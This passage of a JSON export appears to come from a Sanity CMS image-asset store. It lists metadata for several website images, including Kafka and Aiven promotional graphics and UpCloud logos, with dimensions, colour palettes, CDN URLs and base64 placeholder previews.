xBRRBEWSQEMICNGBEAN0B0xAVVUHRnSdUcsE+2EY0xH3oNWcV8itrixvaWtt+ehCX8/15OID0zB0wBpiiiyCIkuAkAKY6IB1Cwgxc3InnSzLuYSUWmCvLThCb06oYPxGIsy3L94YX8osxalTstON0x9y3sIaMwwTTIsCtWhuVUcoSSJgQhhGCsh3xrA2uM9LGx8r5FDmnzJpJTm7EbltZRNRWxWyTJVlJokikyWJIRUxggnTdZ0Zpsl0w2AIablRkIbZciwC4YFG/PCrl73geaSQkyd+c6evj91PjI3A0rUrEJ+aYPN/TbKpyQkI3LwBs4EpCM4EIDgbgODcNMzPzcB87k7D3OwMG/X1w6XmD0ikdqtPPvrsDi59oa8y5R+cil0clOK+gbXpvpNx73eVYv+pA7T/pMvuP+Gi544fsAe+OWAPfO2yB1r/43yLyz53rIz2eT5mF6tfxXz9S79EWouKuejk+I54aK7lQSg4vhgMnA8PN3TOnS3kQ50vqnzbC1ro2+dR6PhziG/dhkLHnkH8l08j/vBTiPc8iXh3AbpV+4QWqdsqROsLvH83bX/9X2BIIUwks99OAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#386468","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813e05","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f58109","foreground":"#000","population":5.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb397","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cc4dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d744c","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f58109","foreground":"#000","population":5.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-kafka-console-g2-leader-winter-2024.png (1).png","path":"images/sczeoy4w/production/bacf652be76cd3dac01d0b80d1575a933d6b5dd6-1500x1007.png","sha1hash":"bacf652be76cd3dac01d0b80d1575a933d6b5dd6","size":505952,"uploadId":"ejyJydFiXVHWagYONdvrT6uMZbH6itg4","url":"https://cdn.sanity.io/images/sczeoy4w/production/bacf652be76cd3dac01d0b80d1575a933d6b5dd6-1500x1007.png"} {"_createdAt":"2024-01-05T17:20:41Z","_id":"image-ca716af4f369f6f6e177a165cf726f8bad895040-800x800-png","_rev":"O0EfMG90JIl2OD8UsF4cUp","_type":"sanity.imageAsset","_updatedAt":"2024-01-05T17:20:41Z","assetId":"ca716af4f369f6f6e177a165cf726f8bad895040","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eoJRp#xa_Ne.t7.7t7NyWBR5W;s:RQjsR+NHWVs8WUofWUt6adj[R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEz0lEQVQ4jQHEBDv7ANXj29/p4ubt5ufu5+bt5+bt6OTs5dni2rS8toKGgmltaWp0cnOKi4enqJi6t5zAuZ3Cu5m/uouzrnmingDM3dXU4dre5+Hh6uTe6OHc5uDU39ess61sa2dKQTtLPDRFPDdLU1R7k5Sgwb2ix8Cfxb+dw8GTu7uFsK8Auc/JtsvGx9jW1ePh0+LdzNzVsb62cnNtUkE3b045jWRMbk4+QDcyZHFwpL+8qczIn8bDo8nKo8nKnMTEAKbCwKbBw7/W29fn697q68rW1IuSjlZKQ3RTPbCAXMaSbZ5wV1M6L1RWVKi5t8Pc2rXV1bnY2b/c3bza2gCdvcCwy9PL4Onf7PLo8PPAxsloZWZVQDWRaEy6hl/AimSjblRpQjNPR0OhqanZ5+fP5ufP5+ja7OzZ6+sAr8rRyNzk3Onv4+3w4urtqq+yUEtLY0s7sINgyJFnx4xkunxdhVNATD04hIuMxtjXyOLi0Ofm4fDv5fLxANfk6eXt8Ozx8eju8ODo66arr0tGRmRMO7yNaNKXbcuKZcWBYY1XQ0QyLWdwcKzEwbzZ1sbg3c/l4dbp5gDn7e/x8/Pz9fPt8fLn7fC4u75VUlJRPzKof13LkWvDgWCwcVRvRjY1KidkbWyrwr292NK61tCw0syz1dAA1uHh7fDu8fTy6e7v5ersxMbIbGtsRDw2fmJMrXtaqW5QhlVBRi4nNDEwfIaDvNDKw9vUutXNrc7Hp8zGALzPyuDn4ujs6tDW17vAwqKlqHBxdEdJTk1KUWdOTWxHRVU7QzctNkdGS46VlcHOys3d1szf1cfc0sDZzwCpwbbN1s3U2tipsLODhotzdHtmZ21SWWQxQ2QmNGQrMmI1OWBFRVlWVF52d32ZnJ66vrnV3NHh6Nvf6NkAtcm7x9HDwMfEj5abbW92ZmdvZ2duW2BqLj5iECxsFC9yMkBrVldoYF9oZWRtbWpyiISIvr255Ofc5ezdANPf0dHZx7G4sX+FiGhqcWZnb2tsc15iby04XBEkXBUqYzU/Y1paaWVlbmZncGJfaXJtdq6tr+Hm4eLt5QDe59vP2MekrKV3fH5naG1naG9tb3ZaYHQlMmELHloSJF42P2NcXGtlZm9jZG5fXWhzb3izsbXm6ujo8e4A6O7n0trQn6akdXh7aWlubG1zcHJ5Vl12IDNpBh9kEilmQElrZWVzampzYmNtXltldG94tLK15+rm6PDrAPX39dbb2pmfom9yd2prcHJzenR2flZeeSE4cAgpcRk3dk1XeG1seWxrdmRjbWFeZ3VweLGwsuLn49/s5gD3+PjN0tWNk5hsbnVsbnV3eYB4eoNZYH0iPHcMNoIkSopZZINxb3xraHRmYWlpY2p1cHempqjU39rS5uEA8fP0wMbKhYmPbmxybW1ydnZ9dniCWV97Ij16Dj+NLVaVYWyJb25+amRwdWRme2xudnB3kZWZuMzKwdzbAOfr67m9vpONi4p4cYVyan9zcHRwdlpeditCeRpCiTdXjGFrhWVmeGhbZIpqYolybnNsc32Fi5q2uqvO0gDY4eC6uLS0nIq+lHe5imuifWaAb2xiY3RFUng1SntFVXpfZXpbWmpnUVWRa12DbWlpZGx0fYaKqrOXv8l/P7azzu/oVgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414147","foreground":"#fff","population":2.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3384","foreground":"#fff","population":3.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#72727a","foreground":"#fff","population":6.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4d1ce","foreground":"#000","population":5.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#daa97e","foreground":"#000","population":4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#72727a","foreground":"#fff","population":6.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#409ae8","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ritu.png","path":"images/sczeoy4w/production/ca716af4f369f6f6e177a165cf726f8bad895040-800x800.png","sha1hash":"ca716af4f369f6f6e177a165cf726f8bad895040","size":1029389,"uploadId":"FS5JYbzr112Uj32FB9SnUjjMpwlbsJlZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca716af4f369f6f6e177a165cf726f8bad895040-800x800.png"} {"_createdAt":"2024-01-09T06:30:59Z","_id":"image-9fbe8df971d04baae7cac77bb1404f988e8dcad1-5760x3240-png","_rev":"cYm7NAkc6EQoa8jfAGdlBZ","_type":"sanity.imageAsset","_updatedAt":"2024-01-09T06:30:59Z","assetId":"9fbe8df971d04baae7cac77bb1404f988e8dcad1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8A0Lv0x;b%L0hpy,.JPnVV;5a-2xaET-3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3240,"width":5760},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAACxLAAAsSwGlPZapAAACr0lEQVQokXXTy1KSAQCGYS4gNQ8gwu+BMwkJCBkmgaICSlE/PyrkgQTELBVBATHULLXRJJtpUy2ads0007Ro1Uy30KIrehuzaVHjDTzzfotP1qSUEDQJ9JY0pp4HmO3LdPfmMdrydJpyqPV5lNoCSm2RNn0Fo+OYkPSFzNoPktmviMEsCX+QkDeLxVlDpmiP023P0j+4zo2hEm5fGW9gh6HQUzwjT7l2cw+jbQvBWEYwVbFerxGJfyKz8o1U+h2riRT76Snm7y5i7ztApuyaxjWQIyzuEhb38I/tELqzjxivEZl4STBywsDIc5yeA65eP8TlOSYxVWMlc0hSWqUwFaf2aJpUZAaHc/OsMIHVuYRvtIwvUOGap0ift/K70BfcxzNygC94hDd4gnvwmNHhJ2yly5yuPCInxlgIjbEshon6RHodRWQNrTHk7QnUujkEwzwqbQq1LkuneZku8xqa7g30PRUMtm3MtirRkQJvcjk+bT3kZVIiGxoj6h8nOJDA2buN7FJLlDq5RL0iRoMyzuW2GZrU92kWMrR0LKHoXKVVk6dVW6TDUCLsz/Mqv8HH3QKvlu6zFrlLcvQ2t7wp7M79M1Diklyi7gxsnfoLtrQvID8Du85Bpa6I2rCJ60aJxXSJan6D0vQcp2Ef78ddbAzGcDufIauXR2lUSDS3TdKsvkeTevZP4T+gtojKsEl3X5lQbB1pNkcmMsnnMSs/wwJv/cMEXFVkTQoRrRDFbJxFb1lApUvTLMz/nvw/WMHk3MIzXmJYzHMvNMeHgJvvAQtHvjsMuXbPQY0QxWScQW/JXAzqiqj0Fbos21jdVRzexwz1r7PYn6QwMEOsr4Dd8QJZnTxKg0LisnKCRlWCRtUFk3XnT1Ebd+i4sofGeoDB+pyrPYfY7EdcsZ+is73mF9DNlfqdqsDuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4968","foreground":"#fff","population":3.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#190c79","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7452","foreground":"#fff","population":8.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#212b77","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f7bd6","foreground":"#fff","population":2.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#495d79","foreground":"#fff","population":0.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7452","foreground":"#fff","population":8.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka-python-aiven-workshop.png","path":"images/sczeoy4w/production/9fbe8df971d04baae7cac77bb1404f988e8dcad1-5760x3240.png","sha1hash":"9fbe8df971d04baae7cac77bb1404f988e8dcad1","size":4181469,"uploadId":"rnejopqiRywS85TTT0NZjrOXjb1bHcAW","url":"https://cdn.sanity.io/images/sczeoy4w/production/9fbe8df971d04baae7cac77bb1404f988e8dcad1-5760x3240.png"} {"_createdAt":"2024-07-30T09:11:15Z","_id":"image-ae5660f412278f7425a90eece1de3ec026e414cd-1920x1080-png","_rev":"O3DLOoQbsVaTpwy5wG0nfQ","_type":"sanity.imageAsset","_updatedAt":"2024-07-30T09:11:15Z","assetId":"ae5660f412278f7425a90eece1de3ec026e414cd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHD+AG=c?Ds:pJ-=,.-pn*-T~Wslixj]S$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACjklEQVQokQXB60saAQAA8IPFoLUFvSSz+dgqNVO088rp+ZiP8+68vIeed97b873KtOeYUKzHkI0JwRrbh/oUYxCjCBqsr/swtr9qvx/w+7B9ryG/+Mg1mzhDEm0Q4Rw4ZsuGTbTfkHON5C1D3PhDcXBAGXigDj6pPrV3LO7OrH+LkvrA/dvdK5X6Lq5csPRhnKj4srSTQef4+KwE22RwWrFPaKZhdfSxOjhUGhqrWB0Np682v7xOaX3ger/7WRHOdKUvl9sRVlwgaUeO8qjM0qsM1Ip6Wr7na1ZDeXJEHh+VpsylVKwu0fUUtsZU+8Bl96AnKb2K3is1OlG27MJEZ1b0cMKiQnrL6YVKdFYFTZzbyMxP57wuqZxr7tdWRX6j2OwDvY29Didvi8o2X6pFWdFNsx6BdYvMDI1bSMRMIhYiYcFha2ZpjoIhTiLldUEuMGVe7wIFUqRxjiMFBmNxOBf3yCFnMzDTgIxFv4EGJylwioQsWcjOQL48HMyicXwlhSMJAkHzQBjGwzARi5ERGIWD2LJXmDFVDcNV47DqmODnp9jpSd5sEyFICofpF4E4HIzHwgk4GPODIYBIUZEQikSwQhLX0pgcZfxmaeyRZh0Vk8+ojJ1wWlmbQ0bjRSGVLsABFg6gofAyFFxw+YCGUGIwtkxQ73jqXMTOmWQFpOaMmsusUF6Wh2jIzXtBqZrJ9+iXnwjwFF+sJ8OxYAT0QcCa3lKKTY3kNlfwYzL5kUnskAKTeUPTJ2X5pKYfcdKhqHT3SpVjPnPKJS60zJGUVyiGwQmgpO/I6mY6RUcDMTSKiGRut7Xz9cvVj5s/t3f/bn/+vbn7c/nt9vjgaFXXt6qVD9ud9+3W62p1q974D7y5zm4gP8QgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#552b4d","foreground":"#fff","population":6.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040761","foreground":"#fff","population":3.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cc552c","foreground":"#fff","population":6.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ba9596","foreground":"#000","population":1.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eebda9","foreground":"#000","population":0.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d698e","foreground":"#fff","population":2.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc552c","foreground":"#fff","population":6.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"podcast6-the-rise-of-multicloud-open-source-and-byoc.png","path":"images/sczeoy4w/production/ae5660f412278f7425a90eece1de3ec026e414cd-1920x1080.png","sha1hash":"ae5660f412278f7425a90eece1de3ec026e414cd","size":623259,"uploadId":"ULowBk2wfdMy48Nk8nT4ZWPiHKBQUWSI","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae5660f412278f7425a90eece1de3ec026e414cd-1920x1080.png"} {"_createdAt":"2024-03-19T14:36:39Z","_id":"image-fca8774b715f82f093a41075890165521a195e65-1624x1208-png","_rev":"PjhTiFLESFHgz5EjC99WWN","_type":"sanity.imageAsset","_updatedAt":"2024-03-19T14:36:39Z","assetId":"fca8774b715f82f093a41075890165521a195e65","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCQvqI8wyY_N.8DOMxbto}%MT0oxRPV[xaBqEMr?$%xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3443708609271523,"height":1208,"width":1624},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAADGUlEQVQ4jVWU/XMTRRjH80/rWLFAR5lBpkCFcVCY0ZZYFafW0kFrwQoK2lL6Fm2KbSVpmqRJ7vZu3y9Jk/bj3CUF+eF7t7vzzGeffZ7vbk65U1oi4aAqKFUCylVBpR5x1LLEuod2p5mUOyGNPZO0Ayn3tnKR7lHcbbDwyzoz958y99MyDxZf8PBxgWerr3hRqLFbjglkD+UgNn3KVc3KeplnK/+ysxcQyu4bYFO0efRogyuX85w79zmjo7e5cP4OY2NfcunDKa6O32P+/h8cvGogZRshu6xtHXD7i0UmPp1ncWmLRmAx/gRpT8gFoWX1wc98d+EikyPnmRoZZerdESbfH2PqnfeY/uAiTz67RW1hhnjnL0Ro2C81WXq8wcLiKpuFfYIwxrguyvbJRZGjtbzE0VeXObx7hWp+nPrkJSrT16lNfkQt/zGNe5+gZ66hVh4SBzFSJ4ShIAwjhIiysdJ+AIxVB3lYwRSfo7ZX0cVV7PYyqriO3l7J1mRxDf33MrK0j4wdznfxzpF4j3MOpQ3aJEOg6RGltYkcYWgJmjFBIyIITLYmhCMMNCKQpKeRuouxHay2ODOAW99Fu+MBMLODTS1xkgU3jmJq1ZBQOLTro2wvgx/VBUJYlDlGyoSgJYmEQdtjdGapga1y6SeIu9SankpNsrdX4+VOhVI5oHpkOKwrSqUmlYNmBjT2mDh21OuCVqDQJs3ufz4Uqsd64ZCZuefkv/mN/PSv5KeXyH/9hPy3v2eam1+muF1GqjbG95EqIchKYLINtE9hZP+ckB2e/vmSW3d+ZHzie67fnGXi5g9cuzGbza/emGXy7iKFzV2M9jjfQ+sOWnq0bmNcfwg8HQDTGlWqAVuFPTa39tgq7L/W2sY/mc+KOyWqlRpWaZxJ0Ko9gNrh1fS8AVrfx7oEYwxJkryW92kGOrOFtZZICEw276DNoKODuqUwhnWEXHplXNLFJx3anWPanS5Ju4PzCVJpjEmBHqVttrFNjzxsQJpRpnTuhzVMW55m6ZK3ZVJfmfRYqc962KSXxWk/fHVSwNlLdDb28B/gkUJ6RIsymwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313857","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d134b","foreground":"#fff","population":4.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d134b","foreground":"#fff","population":4.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a4a2","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb468","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#955a4d","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea3404","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-on-google-cloud.png","path":"images/sczeoy4w/production/fca8774b715f82f093a41075890165521a195e65-1624x1208.png","sha1hash":"fca8774b715f82f093a41075890165521a195e65","size":91921,"uploadId":"ftnmWROD68Z7o1GkD7b4gTY1HV6PYSAU","url":"https://cdn.sanity.io/images/sczeoy4w/production/fca8774b715f82f093a41075890165521a195e65-1624x1208.png"} {"_createdAt":"2024-04-03T12:16:58Z","_id":"image-6f6828062ea4c23a9b2339f472ac600426a9ff47-112x83-png","_rev":"9k1srJVIAf7BJJgtqkpHVx","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:16:58Z","assetId":"6f6828062ea4c23a9b2339f472ac600426a9ff47","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"Vv8x4[jvSGa_o5w-o5Wka{jwSFo6a^fRjvSFa_WmfRjv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3493975903614457,"height":83,"width":112},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVklEQVQ4jWWSXUtVURCGn32OnPwghfLCTNJDWZl9KJSaoUWZqKllaVJ69FhdGJVKFxEz9gFJRFRSFETd9hf6H/2K7rrtrjWx9h5Fa8PDrLVm9rvemb1RjIj8T1Gxx4p9FeydZqwrNiNYfVYT0ne3PYJVKaFeCY2KpQhhj2Cdii0oVlZsWLAxxVYUu6tYSxRULPG4aSRuBpRwXbHZDSTjtmDLgi0qVpJMeEmxScXqNzrTbYRU8I1kN99QbEqxKD4lhBnFFjOhEM8jI4K1KVYrWGXWnW1QiI6j4Hp04i9MKHZNsVHNWiy7o1HPjQs2pNigYIO6nX7BjkTBESXcVGxOsJIS5t3lpBDu+RjiZXEMc5Llyz6CstffEmxJMI2CNYo1KLZPsWanSbFTij2Ixe7gojuL8V+GfDxf0mE+wXjqPNv8aiF+7ZIQVoSw4OvocC7rZjOWhFAWwqIQ7rOK8QrjPcZbjIf8oo/nPOJ3tWKtq1jXKtatWLcQeoQ/TtiyDz2KdcQuyVEBJP5XJuygjoR8upvme+4ca4VhPhfu8KPiJZb/huU+YPk1LP8ay3/C8i+w/DI/cx+3/ORVQC2w02MlUAB2AUWgGdjtdVsd4HV1QHULF9KDmGwEDjldQCdwDDgDSR8kMfZC0gHJ4YRcMSHfkJDbC0m754oVVKUX5YD9QC9wFphxpp3TQDdwFZgCrgCXgQFgGJj0XLtrpQ6bgD7gEjALzHtR3MdL+oERYBwY89yEi0Vi7sCGYHxqgFbgJHDehU74/DqAo74+6E7agOM+llgXY5wxfwH2nVJjbEvFFwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":70.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b048c","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":70.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#480296","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b87cfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#480296","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7804fb","foreground":"#fff","population":5.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-upcloud.png","path":"images/sczeoy4w/production/6f6828062ea4c23a9b2339f472ac600426a9ff47-112x83.png","sha1hash":"6f6828062ea4c23a9b2339f472ac600426a9ff47","size":2950,"uploadId":"qO9PsPS3w2PWw7koIKjXjWlVduy1aJGm","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f6828062ea4c23a9b2339f472ac600426a9ff47-112x83.png"} {"_createdAt":"2024-04-03T12:17:00Z","_id":"image-dcb40635a8e1cde1ca8f5e752ea08c32d5881b83-112x82-png","_rev":"9k1srJVIAf7BJJgtqkpIvy","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:17:00Z","assetId":"dcb40635a8e1cde1ca8f5e752ea08c32d5881b83","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V18N%=xu00M{xuD$?cM{WB_N?v~q8_t7Mx00RjITWB%g","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3658536585365855,"height":82,"width":112},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACUklEQVQ4jWVUSYsWWRD8elERdUCGFkFxQ0Z7GncRbXHBdcZ919aOaM0gQ3FH/4QHj168ePbsL5R89T75nCkIIqvqvazIfJE1QnhUoCaRI0T+RfkTIn8w/L1B/kb5MeWNtW6877cL8ppagMg5ygPCcwgfpByIfIbIKwzfgvwByueUt00KwERcN2drMeV7VN6l3ADlMuQXkJ+2+8glht9QfkDlHCYS4ZfaHFVpnym/RVvoOz3hHSirtOcMc0jYcIXyPOX1CK9CeDWUqwf27KAw8gvl11TeoNqGa5QvVQx5BfJtypcpX+18lvIpyqc7ThVDeYzy7pJ8m8plyssIP2Z4eVw6wi8pL2FQvkT5Cdr7/2GFypeQP1bCPyhvobyzY1drevg4lO849PAi5ItNeTSexAXK/0JZH/86NDVyxMLv1tnWT/kDBi4VKywex9WSyBUoA8pXlN8PyXpSlP9+nVqug7wXkSeoXIRykfIiYsxuzIb2/khV+B8f9eSdKU9T45PMWYRnIM8gcobh2c4zxYicLlHNPwivhbyB8gZE4zL7qj4R2xneisH8a1rS7rn+0VnK62pPCRkxPA21DfOInGe4jn8/5b97WWWLkwWEDzBcI7kd8iYoN1PeS7nK3QrlVEtIeU/zUuQ5hJ80q0Q+pFw4TvlEjx9RNYJZk3UBkeXX8unNnmO6yp2CvAPyOcjXu68A5T3KZfYzUI7Hs7x5k5H326hG3mW48E/ZDZFT3TLNiwuIpuR8n5ZD/Y9zlMr6UVS8wPABRO5jtDLr+WGG90P5Z/X2Jw7SkKkGetK5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#767676","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-upcloud-dark.png","path":"images/sczeoy4w/production/dcb40635a8e1cde1ca8f5e752ea08c32d5881b83-112x82.png","sha1hash":"dcb40635a8e1cde1ca8f5e752ea08c32d5881b83","size":3373,"uploadId":"rGFLGriCAumJ1tcfBsQJgys6jUqYlcvr","url":"https://cdn.sanity.io/images/sczeoy4w/production/dcb40635a8e1cde1ca8f5e752ea08c32d5881b83-112x82.png"} {"_createdAt":"2024-04-03T12:17:03Z","_id":"image-627dd8085e6a55f46645c72808e4b18721bb0baf-112x82-png","_rev":"9k1srJVIAf7BJJgtqkpJbO","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:17:03Z","assetId":"627dd8085e6a55f46645c72808e4b18721bb0baf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGN17Txu00M{xuD%?bM{WB~q?b~q9Ft7IU00RjIUWB-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3658536585365855,"height":82,"width":112},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVQ4jW2USWsUURSFq9toI0ZBRBEUE0WcgrOIA63BIc5D2jlpE+2NEocE/RMuXLpx49q1P/B8ctpT8iyr4PBuvbrzPbcqoJJU+WzgAPAF+AX8DH4AC8DWUvefB+hFYXsJSSckjYDXwG3gIfAJeAPsaUmgGjsHZiVZ+THwqMAQeAu8yvsL4APwNEGrtuoq4CvwMYqDGA9SmrNZKoI408PAJLAe2FBgonb4DXgP3I/BXWDOsqRlYF7SDeAO4HMW6AOXgr5PSWeB/XY4n/KGkhYijzOStJJSBzkXJY11C5sh4MArkj7b4RZgF7DXkLQvTT8naTU9vB7M1bKk+u4acMsOge+tjQ3sdCTJkx0li/+gP23x93fAWuvog03AIUnngQs1JP2VG/enXWFrdsVdtzHFdQWa793xlGO8EdhcoBdamPBTknZH7sW4DDyRano1bbo2kGR+GR7/MeBIyulLuggYx7OSU8AOYKfbArhcB+04ilM9GE5dkbRoikh6Bhietvto+XlW0PB0PXXT7kF8dJ1hB5i2M+CeeSXppSSvosl+uVhPc9PGTxqrehMw3Tp1883FGcCZXM22nEx5Z/yjiDwjyWUfzVR9fyot2uYe/gZV8rKf5K8ZhQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3d3d3","foreground":"#000","population":5.3,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d3d3","foreground":"#000","population":5.3,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-upcloud-white.png","path":"images/sczeoy4w/production/627dd8085e6a55f46645c72808e4b18721bb0baf-112x82.png","sha1hash":"627dd8085e6a55f46645c72808e4b18721bb0baf","size":3351,"uploadId":"w9mur1GSKe1